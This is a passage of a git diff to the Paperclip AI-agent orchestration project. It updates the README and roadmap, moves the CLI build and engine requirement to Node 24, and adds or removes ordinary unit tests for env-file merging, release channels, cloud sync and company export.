running it so no privileged dependency-install command is accepted through a
pipe.
To try Paperclip without installing anything permanently:
```bash
npx --registry https://registry.npmjs.org paperclipai onboard --yes
```
> **Troubleshooting: private npm registry `.npmrc`**
@@ -303,13 +355,16 @@ npx paperclipai onboard --yes
That quickstart path now defaults to trusted local loopback mode for the fastest first run. To start in authenticated/private mode instead, choose a bind preset explicitly:
```bash
npx paperclipai onboard --yes --bind lan
paperclipai onboard --yes --bind lan
# or:
npx paperclipai onboard --yes --bind tailnet
paperclipai onboard --yes --bind tailnet
```
If you already have Paperclip configured, rerunning `onboard` keeps the existing config in place. Use `paperclipai configure` to edit settings.
See [`doc/INSTALLING.md`](doc/INSTALLING.md) for pinned versions, canary and
git-ref installs, updates, rollback, service management, and uninstalling.
Or manually:
```bash
@@ -321,7 +376,7 @@ pnpm dev
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
> **Requirements:** Node.js 20+, pnpm 9.15+
> **Requirements:** Node.js 24.11+, pnpm 9.15+
<br/>
@@ -354,6 +409,8 @@ By default, agents run on scheduled heartbeats and event-based triggers (task as
pnpm dev # Full dev (API + UI, watch mode)
pnpm dev:once # Full dev without file watching
pnpm dev:server # Server only
pnpm dev:mobile # Serve prebuilt UI on :3101 for phones/tablets (proxies /api → :3100)
pnpm dev:both # Run `pnpm dev` and `pnpm dev:mobile` together
pnpm build # Build all
pnpm typecheck # Type checking
pnpm test # Cheap default test run (Vitest only)
@@ -375,23 +432,30 @@ See [doc/DEVELOPING.md](doc/DEVELOPING.md) for the full development guide.
- ✅ Get OpenClaw / claw-style agent employees
- ✅ companies.sh - import and export entire organizations
- ✅ Easy AGENTS.md configurations
- ✅ Skills Manager
- ✅ Skills Manager, Skill Studio & Skills Store
- ✅ Scheduled Routines
- ✅ Better Budgeting
- ✅ Agent Reviews and Approvals
- ✅ Multiple Human Users
- ⚪ Cloud / Sandbox agents (e.g. Cursor / e2b / Novita agents)
- ⚪ Artifacts & Work Products
- ✅ Cloud / Sandbox agents (e2b, Cloudflare, Daytona, Modal, Novita, self-hosted Kubernetes)
- ✅ Artifacts & Work Products
- ✅ Deep Planning (planning mode, revisioned plans, plan approvals)
- ✅ Enforced Outcomes (watchdogs, recovery actions, review gates)
- ✅ MCP Tool Gateway & Apps (governed tool access)
- ✅ Secrets Manager with per-agent access
- ✅ Activity log & action attribution
- ✅ Self-healing runs & automatic recovery
- ✅ Agent evals & feedback
- ⚪ Memory / Knowledge
- ⚪ Enforced Outcomes
- ⚪ MAXIMIZER MODE
- ⚪ Deep Planning
- ⚪ Work Queues
- ⚪ Self-Organization
- ⚪ Automatic Organizational Learning
- ⚪ CEO Chat
- ⚪ Cloud deployments
- 🟡 Cloud deployments (multi-tenant isolation & company Import/Export shipped)
- ⚪ Desktop App
- ⚪ Bring-your-own-ticket-system (Asana / Linear / Jira as on-ramps)
- ⚪ Connected Apps (one-click integrations, e.g. Vercel)
This is the short roadmap preview. See the full roadmap in [ROADMAP.md](ROADMAP.md).
@@ -410,6 +474,7 @@ Paperclip ships with opt-in OpenTelemetry auto-instrumentation for the server (t
Paperclip collects anonymous usage telemetry to help us understand how the product is used and improve it. No personal information, issue content, prompts, file paths, or secrets are ever collected. Private repository references are hashed with a per-install salt before being sent.
Contributors changing emitted telemetry events should follow the [Telemetry Data Contract](packages/shared/src/telemetry/README.md).
For proposed first-party events that are not in the generated contract yet, follow [Telemetry Workflow](doc/TELEMETRY_WORKFLOW.md).
Telemetry is **enabled by default** and can be disabled with any of the following:
@@ -441,7 +506,13 @@ MIT &copy; 2026 [Paperclip Labs, Inc](https://paperclip.ing)
## Star History
[![Star History Chart](https://api.star-history.com/image?repos=paperclipai/paperclip&type=date&legend=top-left)](https://www.star-history.com/?repos=paperclipai%2Fpaperclip&type=date&legend=top-left)
<a href="https://www.star-history.com/?repos=paperclipai%2Fpaperclip&type=date&legend=top-left">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/chart?repos=paperclipai/paperclip&type=date&theme=dark&legend=top-left&sealed_token=hFjuwFq41bQD5cevvXVv5cTru2swWRZujwJYKlHhtBh6n0H5-VvJZW2SAlcQKB8u4KxhyEB9JqFg1yccJ8WLv9wPBcoWpWcak4gx0MYTWu_pOs2jKOaDluH7KsLeTKt6DHGkHiN3LsqV9s--MTDQcC6Xl7zV51W0-YezQXo-pVPgoFDFAGf2CY5fiP5Q" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/chart?repos=paperclipai/paperclip&type=date&legend=top-left&sealed_token=hFjuwFq41bQD5cevvXVv5cTru2swWRZujwJYKlHhtBh6n0H5-VvJZW2SAlcQKB8u4KxhyEB9JqFg1yccJ8WLv9wPBcoWpWcak4gx0MYTWu_pOs2jKOaDluH7KsLeTKt6DHGkHiN3LsqV9s--MTDQcC6Xl7zV51W0-YezQXo-pVPgoFDFAGf2CY5fiP5Q" />
<img src="https://api.star-history.com/chart?repos=paperclipai/paperclip&type=date&legend=top-left&sealed_token=hFjuwFq41bQD5cevvXVv5cTru2swWRZujwJYKlHhtBh6n0H5-VvJZW2SAlcQKB8u4KxhyEB9JqFg1yccJ8WLv9wPBcoWpWcak4gx0MYTWu_pOs2jKOaDluH7KsLeTKt6DHGkHiN3LsqV9s--MTDQcC6Xl7zV51W0-YezQXo-pVPgoFDFAGf2CY5fiP5Q" alt="Star History Chart" />
</picture>
</a>
<br/>
+43 -13
View File
@@ -28,9 +28,9 @@ Reusable companies matter. Import/export is the foundation for moving org struct
Agent setup should feel repo-native and legible. Simple `AGENTS.md`-style configuration lowers the barrier to getting an agent team running and makes it easier for contributors to understand how a company is wired together.
### ✅ Skills Manager
### ✅ Skills Manager, Skill Studio & Skills Store
Agents need a practical way to discover, install, and use skills without every setup becoming bespoke. The skills layer is part of making Paperclip companies more reusable and easier to operate.
Agents need a practical way to discover, install, create, test, and share skills without every setup becoming bespoke. Skills Manager, Skill Studio, and the Skills Store make the skills layer reusable across an organization and easier to operate.
### ✅ Scheduled Routines
@@ -48,30 +48,50 @@ Paperclip should support explicit review and approval stages as first-class work
Paperclip needs a clearer path from solo operator to real human teams. That means shared board access, safer collaboration, and a better model for several humans supervising the same autonomous company.
### ⚪ Cloud / Sandbox agents (e.g. Cursor / e2b / Novita agents)
### ✅ Cloud / Sandbox agents (e2b, Cloudflare, Daytona, Modal, Novita, self-hosted Kubernetes)
We want agents to run in more remote and sandboxed environments while preserving the same Paperclip control-plane model. This makes the system safer, more flexible, and more useful outside a single trusted local machine.
### ⚪ Artifacts & Work Products
### ✅ Artifacts & Work Products
Paperclip should make outputs first-class. That means generated artifacts, previews, deployable outputs, and the handoff from "agent did work" to "here is the result" should become more visible and easier to operate.
### ✅ Deep Planning (planning mode, revisioned plans, plan approvals)
Some work needs more than a task description before execution starts. Deeper planning means a dedicated planning mode, revisioned plans, and explicit plan approvals for strategy-heavy work before agents begin execution.
### ✅ Enforced Outcomes (watchdogs, recovery actions, review gates)
Paperclip should get stricter about what counts as finished work. Watchdogs, recovery actions, and review gates keep execution moving toward clear outcomes like merged code, published artifacts, shipped docs, or explicit decisions instead of vague status updates.
### ✅ MCP Tool Gateway & Apps (governed tool access)
MCP tools and apps should be available through a governed gateway instead of unmanaged direct access. Paperclip can apply company boundaries, approval gates, and activity attribution while giving agents the tools they need.
### ✅ Secrets Manager with per-agent access
Secrets need to be centrally managed without giving every agent every credential. Per-agent access, scoped bindings, and audited resolution keep sensitive integrations usable while preserving least privilege.
### ✅ Activity log & action attribution
Operators need a durable record of what changed and who initiated it. Activity history and clear action attribution make human, agent, and system actions inspectable across the control plane.
### ✅ Self-healing runs & automatic recovery
Agent work should recover from routine failures without waiting for a human to notice every stalled run. Recovery policies can retry safe work, route failures, and keep the issue lifecycle aligned with what actually happened.
### ✅ Agent evals & feedback
Agent performance should be measurable over time, not judged only from anecdotes. Evals, saved results, and structured feedback create a loop for improving skills, prompts, models, and employee quality.
### ⚪ Memory / Knowledge
We want a stronger memory and knowledge surface for companies, agents, and projects. That includes durable memory, better recall of prior decisions and context, and a clearer path for knowledge-style capabilities without turning Paperclip into a generic chat app.
### ⚪ Enforced Outcomes
Paperclip should get stricter about what counts as finished work. Tasks, approvals, and execution flows should resolve to clear outcomes like merged code, published artifacts, shipped docs, or explicit decisions instead of stopping at vague status updates.
### ⚪ MAXIMIZER MODE
This is the direction for higher-autonomy execution: more aggressive delegation, deeper follow-through, and stronger operating loops with clear budgets, visibility, and governance. The point is not hidden autonomy; the point is more output per human supervisor.
### ⚪ Deep Planning
Some work needs more than a task description before execution starts. Deeper planning means stronger issue documents, revisionable plans, and clearer review loops for strategy-heavy work before agents begin execution.
### ⚪ Work Queues
Paperclip should support queue-style work streams for repeatable inputs like support, triage, review, and backlog intake. That would make it easier to route work continuously without turning every system into a one-off workflow.
@@ -88,10 +108,20 @@ Paperclip should get better at turning completed work into reusable organization
We want a lighter-weight way to talk to leadership agents, but those conversations should still resolve to real work objects like plans, issues, approvals, or decisions. This should improve interaction without changing the core task-and-comments model.
### ⚪ Cloud deployments
### 🟡 Cloud deployments (multi-tenant isolation & company Import/Export shipped)
Local-first remains important, but Paperclip also needs a cleaner shared deployment story. Teams should be able to run the same product in hosted or semi-hosted environments without changing the mental model.
Shipped so far: multi-tenant isolation with per-company JWT keys and company-scoped cloud tenants, portable company Import/Export (zip bundles that move a company between instances, local or cloud), and cloud-managed instance bootstrap. Next: a blob-store relay so large instances can move without a hand-carried bundle.
### ⚪ Desktop App
A desktop app can make Paperclip feel more accessible and persistent for day-to-day operators. The goal is easier access, better local ergonomics, and a smoother default experience for users who want the control plane always close at hand.
### ⚪ Bring-your-own-ticket-system (Asana / Linear / Jira as on-ramps)
Existing ticket systems should be able to feed work into Paperclip without becoming the agent control plane themselves. Asana, Linear, and Jira can act as familiar on-ramps while Paperclip owns execution, governance, and outcomes.
### ⚪ Connected Apps (one-click integrations, e.g. Vercel)
Common services should connect without bespoke setup for every company. One-click integrations can package credentials, permissions, and useful workflows for apps such as Vercel while keeping access governed and auditable.
+8 -11
View File
@@ -4,7 +4,7 @@
<p align="center">
<a href="#quickstart"><strong>Quickstart</strong></a> &middot;
<a href="https://paperclip.ing/docs"><strong>Docs</strong></a> &middot;
<a href="https://docs.paperclip.ing"><strong>Docs</strong></a> &middot;
<a href="https://github.com/paperclipai/paperclip"><strong>GitHub</strong></a> &middot;
<a href="https://discord.gg/m4HZY7xNG3"><strong>Discord</strong></a> &middot;
<a href="https://x.com/papercliping"><strong>Twitter</strong></a> &middot;
@@ -305,7 +305,7 @@ pnpm dev
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
> **Requirements:** Node.js 20+, pnpm 9.15+
> **Requirements:** Node.js 24.11+, pnpm 9.15+
<br/>
@@ -332,20 +332,17 @@ By default, agents run on scheduled heartbeats and event-based triggers (task as
<br/>
## Paperclip Cloud Sync
## Importing & Exporting Companies
Cloud upstream sync is behind the `Cloud Sync` experimental setting. Enable it in Instance Settings before pushing.
Export a company to a portable package and import it into any other instance — local or cloud — from a local path or GitHub:
```bash
paperclipai cloud connect https://your-stack.paperclip.app
paperclipai cloud connect https://your-stack.paperclip.app --no-browser
paperclipai cloud push --company <local-company-id> --dry-run
paperclipai cloud push --company <local-company-id>
paperclipai company export <company-id> --out ./my-export
paperclipai company import ./my-export --dry-run
paperclipai company import org/repo --target new
```
`cloud connect` authorizes the local instance against the target stack and stores the upstream token in the local instance secret store. The default path opens a browser for consent; `--no-browser` uses the device-code flow and prints the verification URL and user code.
`cloud push --dry-run` exports the selected local company, sends a preview bundle to the connected Cloud stack, and exits with code `2` when conflicts need user resolution. A schema mismatch exits with code `3`. Running without `--dry-run` stages chunks idempotently, applies the run, and prints the final summary and recent progress events.
The board UI has matching Export and Import pages in company settings: the Export page shows a fidelity panel listing what the bundle will not carry, and the Import page starts imported agents and routines paused by default, with a post-import activation step. See the [Importing & Exporting guide](https://github.com/paperclipai/paperclip/blob/master/docs/guides/board-operator/importing-and-exporting.md) for details.
## Development
+15 -2
View File
@@ -6,8 +6,10 @@
*/
import { readFileSync } from "node:fs";
import { createRequire } from "node:module";
import { resolve, dirname } from "node:path";
import { fileURLToPath } from "node:url";
import { bundledCliNpmDependencies } from "../scripts/cli-bundled-npm-dependencies.mjs";
const __dirname = dirname(fileURLToPath(import.meta.url));
const repoRoot = resolve(__dirname, "..");
@@ -39,7 +41,7 @@ for (const p of workspacePaths) {
for (const name of Object.keys(pkg.dependencies || {})) {
if (externalWorkspacePackages.has(name)) {
externals.add(name);
} else if (!name.startsWith("@paperclipai/")) {
} else if (!name.startsWith("@paperclipai/") && !bundledCliNpmDependencies.has(name)) {
externals.add(name);
}
}
@@ -52,12 +54,23 @@ for (const name of externalWorkspacePackages) {
externals.add(name);
}
if (bundledCliNpmDependencies.has("embedded-postgres")) {
const requireFromDb = createRequire(resolve(repoRoot, "packages/db/package.json"));
const embeddedPostgresRoot = dirname(requireFromDb.resolve("embedded-postgres"));
const embeddedPostgresPackage = JSON.parse(
readFileSync(resolve(embeddedPostgresRoot, "..", "package.json"), "utf8"),
);
for (const name of Object.keys(embeddedPostgresPackage.optionalDependencies ?? {})) {
externals.add(name);
}
}
/** @type {import('esbuild').BuildOptions} */
export default {
entryPoints: ["src/index.ts"],
bundle: true,
platform: "node",
target: "node20",
target: "node24",
format: "esm",
outfile: "dist/index.js",
banner: { js: "#!/usr/bin/env node" },
+7 -3
View File
@@ -36,13 +36,14 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
"@clack/prompts": "^0.10.0",
"@clack/prompts": "^1.7.0",
"@paperclipai/adapter-claude-local": "workspace:*",
"@paperclipai/adapter-codex-local": "workspace:*",
"@paperclipai/adapter-cursor-cloud": "workspace:*",
"@paperclipai/adapter-cursor-local": "workspace:*",
"@paperclipai/adapter-gemini-local": "workspace:*",
"@paperclipai/adapter-grok-local": "workspace:*",
"@paperclipai/adapter-kimi-local": "workspace:*",
"@paperclipai/adapter-opencode-local": "workspace:*",
"@paperclipai/adapter-pi-local": "workspace:*",
"@paperclipai/adapter-openclaw-gateway": "workspace:*",
@@ -58,8 +59,11 @@
"picocolors": "^1.1.1"
},
"devDependencies": {
"@types/node": "^22.19.21",
"tsx": "^4.22.4",
"@types/node": "^24.0.0",
"tsx": "^4.23.12",
"typescript": "^5.7.3"
},
"engines": {
"node": ">=24.11.0"
}
}
+58
View File
@@ -76,4 +76,62 @@ describe("agent jwt env helpers", () => {
expect(contents).toContain('PAPERCLIP_WORKTREE_COLOR="#439edb"');
expect(readPaperclipEnvEntries(envPath).PAPERCLIP_WORKTREE_COLOR).toBe("#439edb");
});
it("preserves operator content and CRLF while updating only managed entries", () => {
const configPath = tempConfigPath();
const envPath = resolveAgentJwtEnvFile(configPath);
const original = [
"# operator comment",
"DATABASE_URL='postgres://operator:encoded@localhost/paperclip'",
"",
"export PAPERCLIP_HOME = '/old path' # managed path",
"PAPERCLIP_DUPLICATE=stale",
'PAPERCLIP_DUPLICATE="current"',
"UNKNOWN_VALUE=operator-owned",
"",
].join("\r\n");
fs.writeFileSync(envPath, original, { mode: 0o600 });
mergePaperclipEnvEntries(
{
PAPERCLIP_HOME: "/new path",
PAPERCLIP_DUPLICATE: "current",
PAPERCLIP_WORKTREE_COLOR: "#439edb",
DATABASE_URL: "postgres://paperclip-must-not-overwrite",
},
envPath,
);
const updated = fs.readFileSync(envPath, "utf8");
expect(updated).toBe([
"# operator comment",
"DATABASE_URL='postgres://operator:encoded@localhost/paperclip'",
"",
'export PAPERCLIP_HOME = "/new path" # managed path',
"PAPERCLIP_DUPLICATE=current",
'PAPERCLIP_DUPLICATE="current"',
"UNKNOWN_VALUE=operator-owned",
'PAPERCLIP_WORKTREE_COLOR="#439edb"',
"",
].join("\r\n"));
expect(updated.replaceAll("\r\n", "")).not.toContain("\n");
});
it("does not replace the env file when managed values are already current", () => {
const configPath = tempConfigPath();
const envPath = resolveAgentJwtEnvFile(configPath);
const original = [
"# preserve this file byte-for-byte",
"export PAPERCLIP_HOME = '/same path'",
"UNKNOWN=\"operator encoding\"",
"",
].join("\n");
fs.writeFileSync(envPath, original, { mode: 0o600 });
const previousInode = fs.statSync(envPath).ino;
mergePaperclipEnvEntries({ PAPERCLIP_HOME: "/same path" }, envPath);
expect(fs.readFileSync(envPath, "utf8")).toBe(original);
expect(fs.statSync(envPath).ino).toBe(previousInode);
});
});
+9 -1
View File
@@ -83,7 +83,15 @@ describe("agent lifecycle commands", () => {
await run(["agent", "runtime-state:reset-session", AGENT_ID, "--task-key", "task-1"]);
await run(["agent", "task-sessions", AGENT_ID]);
await run(["agent", "skills", AGENT_ID]);
await run(["agent", "skills:sync", AGENT_ID, "--desired-skills", "paperclip,github"]);
await run([
"agent",
"skills:sync",
AGENT_ID,
"--desired-skills",
"paperclip,github",
"--mode",
"replace",
]);
await run(["agent", "instructions-path:update", AGENT_ID, "--payload-json", JSON.stringify({ path: "/tmp/AGENTS.md" })]);
await run(["agent", "instructions-bundle", AGENT_ID]);
await run(["agent", "instructions-bundle:update", AGENT_ID, "--payload-json", JSON.stringify({ mode: "managed" })]);
+81
View File
@@ -0,0 +1,81 @@
import { describe, expect, it } from "vitest";
import {
channelForVersion,
collectChannelState,
RELEASE_CHANNELS,
} from "../commands/channels.js";
import type { CommandRunner } from "../commands/install.js";
describe("channelForVersion", () => {
it("maps published versions to their lane", () => {
expect(channelForVersion("2026.811.0")).toBe("stable");
expect(channelForVersion("2026.811.0-beta.0")).toBe("beta");
expect(channelForVersion("2026.811.0-nightly.0")).toBe("nightly");
expect(channelForVersion("2026.811.0-canary.3")).toBe("canary");
});
it("treats non-CalVer versions as unknown instead of guessing", () => {
expect(channelForVersion("0.3.1")).toBe("unknown");
expect(channelForVersion("2026.811.0-rc.1")).toBe("unknown");
expect(channelForVersion("garbage")).toBe("unknown");
});
});
describe("collectChannelState", () => {
const versionsByTag: Record<string, string> = {
latest: "2026.722.0",
beta: "2026.811.0-beta.0",
nightly: "2026.811.0-nightly.0",
canary: "2026.811.0-canary.3",
};
const fakeRunner: CommandRunner = async (_command, args) => {
const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@"));
const tag = spec?.slice("paperclipai@".length) ?? "";
const version = versionsByTag[tag];
if (!version) throw new Error(`unexpected dist-tag: ${tag}`);
return { stdout: JSON.stringify(version), stderr: "" };
};
it("resolves every channel's dist-tag from the registry", async () => {
const state = await collectChannelState(fakeRunner);
expect(state.map((entry) => entry.channel)).toEqual([
"stable",
"beta",
"nightly",
"canary",
]);
expect(state.map((entry) => entry.version)).toEqual([
"2026.722.0",
"2026.811.0-beta.0",
"2026.811.0-nightly.0",
"2026.811.0-canary.3",
]);
});
it("degrades a single unavailable channel to null without failing the rest", async () => {
const flakyRunner: CommandRunner = async (command, args, options) => {
const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@"));
if (spec === "paperclipai@nightly") throw new Error("registry timeout");
return fakeRunner(command, args, options);
};
const state = await collectChannelState(flakyRunner);
const byChannel = Object.fromEntries(state.map((entry) => [entry.channel, entry.version]));
expect(byChannel.nightly).toBeNull();
expect(byChannel.stable).toBe("2026.722.0");
expect(byChannel.beta).toBe("2026.811.0-beta.0");
expect(byChannel.canary).toBe("2026.811.0-canary.3");
});
it("keeps the channel table and dist-tags in sync", () => {
expect(RELEASE_CHANNELS.map((entry) => entry.distTag)).toEqual([
"latest",
"beta",
"nightly",
"canary",
]);
});
});
-243
View File
@@ -1,243 +0,0 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { CompanyPortabilityExportResult } from "@paperclipai/shared";
import {
assertDiscoveryCompatible,
buildBundleFromLocalCompany,
cloudCommandExitCodes,
connectCloud,
resolveDeviceCodeExpiresAt,
} from "../commands/client/cloud.js";
import {
LocalUpstreamPushCoordinator,
normalizedContentHash,
type LocalUpstreamExportBundle,
} from "../commands/client/cloud-transfer.js";
import { getCloudConnection } from "../commands/client/cloud-store.js";
const originalEnv = { ...process.env };
const originalFetch = globalThis.fetch;
describe("cloud CLI helpers", () => {
let tempHome: string;
beforeEach(() => {
tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-cloud-cli-"));
process.env = { ...originalEnv, PAPERCLIP_HOME: tempHome };
});
afterEach(() => {
process.env = { ...originalEnv };
globalThis.fetch = originalFetch;
vi.restoreAllMocks();
fs.rmSync(tempHome, { recursive: true, force: true });
});
it("connects with the device-code flow and stores the resulting cloud connection", async () => {
globalThis.fetch = vi.fn(async (url, init) => {
const requestUrl = String(url);
if (requestUrl.endsWith("/.well-known/paperclip-upstream")) {
return jsonResponse(discovery());
}
if (requestUrl.endsWith("/api/upstream-sync/device-code")) {
expect(JSON.parse(String(init?.body))).toMatchObject({
stackId: "stack-1",
scopes: ["upstream_import:preview", "upstream_import:write", "upstream_import:read"],
});
return jsonResponse({
deviceCode: "device-1",
userCode: "ABCD-EFGH",
verificationUri: "https://cloud.example.test/api/upstream-sync/device-code/approve",
expiresAt: new Date(Date.now() + 60_000).toISOString(),
intervalSeconds: 0,
});
}
if (requestUrl.endsWith("/api/upstream-sync/token")) {
return jsonResponse({
accessToken: "upt_test",
scopes: ["upstream_import:preview"],
token: {
id: "token-1",
companyStackId: "stack-1",
targetOrigin: "https://cloud.example.test",
sourceInstanceId: "paperclip-local-default",
sourceInstanceFingerprint: "sha256:test",
scopes: ["upstream_import:preview"],
expiresAt: new Date(Date.now() + 60_000).toISOString(),
},
});
}
return jsonResponse({ error: "not_found" }, 404);
}) as typeof fetch;
const connection = await connectCloud("https://cloud.example.test", { noBrowser: true, json: true });
expect(connection.accessToken).toBe("upt_test");
expect(getCloudConnection("https://cloud.example.test")?.token.id).toBe("token-1");
});
it("hard-blocks incompatible transfer schema versions with the stable schema exit code", () => {
expect(() => assertDiscoveryCompatible(discovery({ supportedSchemaMajor: 99 }))).toThrow(/schema mismatch/i);
expect(cloudCommandExitCodes.schemaMismatch).toBe(3);
});
it("falls back to a bounded device-code expiry when the cloud omits or malforms expiresAt", () => {
const now = Date.UTC(2026, 4, 22, 13, 0, 0);
const validExpiry = "2026-05-22T13:05:00.000Z";
expect(resolveDeviceCodeExpiresAt(validExpiry, now)).toBe(Date.parse(validExpiry));
expect(resolveDeviceCodeExpiresAt(undefined, now)).toBe(now + 15 * 60_000);
expect(resolveDeviceCodeExpiresAt("not-a-date", now)).toBe(now + 15 * 60_000);
});
it("builds deterministic chunks with validated payload hashes", async () => {
const bundle = await buildTestBundle();
expect(bundle.chunks).toHaveLength(2);
expect(bundle.chunks[0]?.sha256).toBe(normalizedContentHash(bundle.chunks[0]?.payload));
expect(bundle.manifest.chunks[0]?.manifestHash).toBe(bundle.manifest.manifestHash);
expect(bundle.manifest.idempotencyKey).toBe((await buildTestBundle()).manifest.idempotencyKey);
});
it("reuses the same manifest and chunk identity when an interrupted apply is retried", async () => {
const bundle = await buildTestBundle();
const calls: Array<{ path: string; body: unknown }> = [];
const coordinator = new LocalUpstreamPushCoordinator({
targetOrigin: "https://cloud.example.test",
paperclipCompanyId: "target-company-1",
fetch: async (url, init) => {
const parsed = new URL(String(url));
const body = init?.body ? JSON.parse(String(init.body)) as unknown : {};
calls.push({ path: parsed.pathname, body });
if (parsed.pathname.endsWith("/runs")) return jsonResponse({ run: { id: "run-1" } });
return jsonResponse({ run: { id: "run-1" }, summary: { create: 0, update: 0, adopt: 0, skip: 2, conflict: 0, staleMapping: 0 } });
},
});
await coordinator.apply(bundle);
await coordinator.apply(bundle);
const runBodies = calls.filter((call) => call.path.endsWith("/runs")).map((call) => call.body as { manifest: { idempotencyKey: string } });
const chunkBodies = calls.filter((call) => call.path.endsWith("/chunks")).map((call) => call.body as { chunkIndex: number; sha256: string });
expect(runBodies).toHaveLength(2);
expect(runBodies[0]?.manifest.idempotencyKey).toBe(runBodies[1]?.manifest.idempotencyKey);
expect(chunkBodies[0]).toEqual(chunkBodies[2]);
expect(chunkBodies[1]).toEqual(chunkBodies[3]);
});
});
async function buildTestBundle(): Promise<LocalUpstreamExportBundle> {
return buildBundleFromLocalCompany({
localCompanyId: "local-company-1",
connection: {
id: "conn-1",
remoteUrl: "https://cloud.example.test",
targetOrigin: "https://cloud.example.test",
targetHost: "cloud.example.test",
stackId: "stack-1",
targetCompanyId: "target-company-1",
accessToken: "upt_test",
token: {
id: "token-1",
companyStackId: "stack-1",
targetOrigin: "https://cloud.example.test",
sourceInstanceId: "paperclip-local-default",
sourceInstanceFingerprint: "sha256:test",
scopes: ["upstream_import:preview"],
expiresAt: new Date(Date.now() + 60_000).toISOString(),
},
privateKeyPem: "unused",
sourcePublicKey: "unused",
sourceInstanceId: "paperclip-local-default",
sourceInstanceFingerprint: "sha256:test",
scopes: ["upstream_import:preview"],
createdAt: "2026-05-18T00:00:00.000Z",
updatedAt: "2026-05-18T00:00:00.000Z",
},
discovery: discovery(),
localApi: {
post: async <T>() => portabilityExport() as T,
},
maxEntitiesPerChunk: 1,
mode: "apply",
});
}
function discovery(overrides: Partial<{ supportedSchemaMajor: number }> = {}) {
return {
schema: "paperclip-upstream-discovery-v1",
stack: {
id: "stack-1",
slug: "cloud-test",
displayName: "Cloud Test",
companyId: "target-company-1",
origin: "https://cloud.example.test",
},
auth: {
deviceCode: {
deviceCodeUrl: "https://cloud.example.test/api/upstream-sync/device-code",
verificationUrl: "https://cloud.example.test/api/upstream-sync/device-code/approve",
tokenUrl: "https://cloud.example.test/api/upstream-sync/token",
},
scopes: ["upstream_import:preview", "upstream_import:write", "upstream_import:read"],
},
transfer: {
supportedSchemaMajor: overrides.supportedSchemaMajor ?? 1,
featureFlags: ["cloud_sync"],
},
};
}
function portabilityExport(): CompanyPortabilityExportResult {
return {
rootPath: ".",
paperclipExtensionPath: ".paperclip.yaml",
manifest: {
schemaVersion: 1,
generatedAt: "2026-05-18T00:00:00.000Z",
source: {
companyId: "local-company-1",
companyName: "Local Company",
},
includes: {
company: true,
agents: true,
projects: true,
issues: true,
skills: true,
},
company: {
path: "company.json",
name: "Local Company",
description: null,
brandColor: null,
logoPath: null,
attachmentMaxBytes: null,
requireBoardApprovalForNewAgents: false,
feedbackDataSharingEnabled: false,
feedbackDataSharingConsentAt: null,
feedbackDataSharingConsentByUserId: null,
feedbackDataSharingTermsVersion: null,
},
sidebar: null,
agents: [],
skills: [],
projects: [],
issues: [],
envInputs: [],
},
files: {
"README.md": "Local Company",
},
warnings: [],
};
}
function jsonResponse(body: unknown, status = 200): Response {
return new Response(JSON.stringify(body), {
status,
headers: { "Content-Type": "application/json" },
});
}
+15 -1
View File
@@ -4,7 +4,7 @@ import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import { writeContext } from "../client/context.js";
import { setStoredBoardCredential } from "../client/board-auth.js";
import { inferContentTypeFromPath, resolveApiBase, resolveCommandContext } from "../commands/client/common.js";
import { apiPath, inferContentTypeFromPath, resolveApiBase, resolveCommandContext } from "../commands/client/common.js";
const ORIGINAL_ENV = { ...process.env };
@@ -185,3 +185,17 @@ describe("inferContentTypeFromPath", () => {
expect(inferContentTypeFromPath("noextension")).toBeUndefined();
});
});
describe("apiPath", () => {
it("encodes dynamic path segments", () => {
expect(apiPath`/api/issues/${"PAP-1/child"}/comments/${"needs review?"}`)
.toBe("/api/issues/PAP-1%2Fchild/comments/needs%20review%3F");
});
it("rejects empty dynamic path segments", () => {
expect(() => apiPath`/api/issues/${""}`).toThrow("Cannot build API path with an empty path segment.");
expect(() => apiPath`/api/issues/${undefined}`).toThrow("Cannot build API path with an empty path segment.");
expect(() => apiPath`/api/issues/${null}`).toThrow("Cannot build API path with an empty path segment.");
expect(() => apiPath`/api/issues/${" "}`).toThrow("Cannot build API path with an empty path segment.");
});
});
+1
View File
@@ -27,6 +27,7 @@ function makeCompany(overrides: Partial<Company>): Company {
createdAt: new Date(),
updatedAt: new Date(),
...overrides,
interactionResolverGovernance: overrides.interactionResolverGovernance ?? {},
};
}
@@ -0,0 +1,51 @@
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import { confirmOverwriteExportDirectory } from "../commands/client/company.js";
// These tests run under vitest, where stdin/stdout are not TTYs — i.e. exactly
// the non-interactive/automated posture the nightly backup routine runs in.
describe("confirmOverwriteExportDirectory (non-interactive)", () => {
let dir: string;
beforeEach(async () => {
dir = await mkdtemp(path.join(tmpdir(), "pc-export-force-"));
});
afterEach(async () => {
await rm(dir, { recursive: true, force: true });
});
it("resolves when the output directory does not exist", async () => {
const missing = path.join(dir, "does-not-exist");
await expect(confirmOverwriteExportDirectory(missing)).resolves.toBeUndefined();
});
it("resolves when the output directory is empty", async () => {
await expect(confirmOverwriteExportDirectory(dir)).resolves.toBeUndefined();
});
it("throws non-interactively when the output directory is non-empty and --force is not set", async () => {
await writeFile(path.join(dir, "BACKUP-README.md"), "keep me");
await mkdir(path.join(dir, ".git"));
await expect(confirmOverwriteExportDirectory(dir)).rejects.toThrow(/already contains files/);
});
it("resolves on a non-empty output directory when --force is set", async () => {
await writeFile(path.join(dir, "BACKUP-README.md"), "keep me");
await mkdir(path.join(dir, ".git"));
await expect(
confirmOverwriteExportDirectory(dir, { force: true }),
).resolves.toBeUndefined();
});
it("throws when the output path exists but is a file", async () => {
const filePath = path.join(dir, "not-a-dir");
await writeFile(filePath, "x");
await expect(confirmOverwriteExportDirectory(filePath, { force: true })).rejects.toThrow(
/exists and is not a directory/,
);
});
});
@@ -153,6 +153,7 @@ function createServerEnv(
env.PORT = String(port);
env.SERVE_UI = "false";
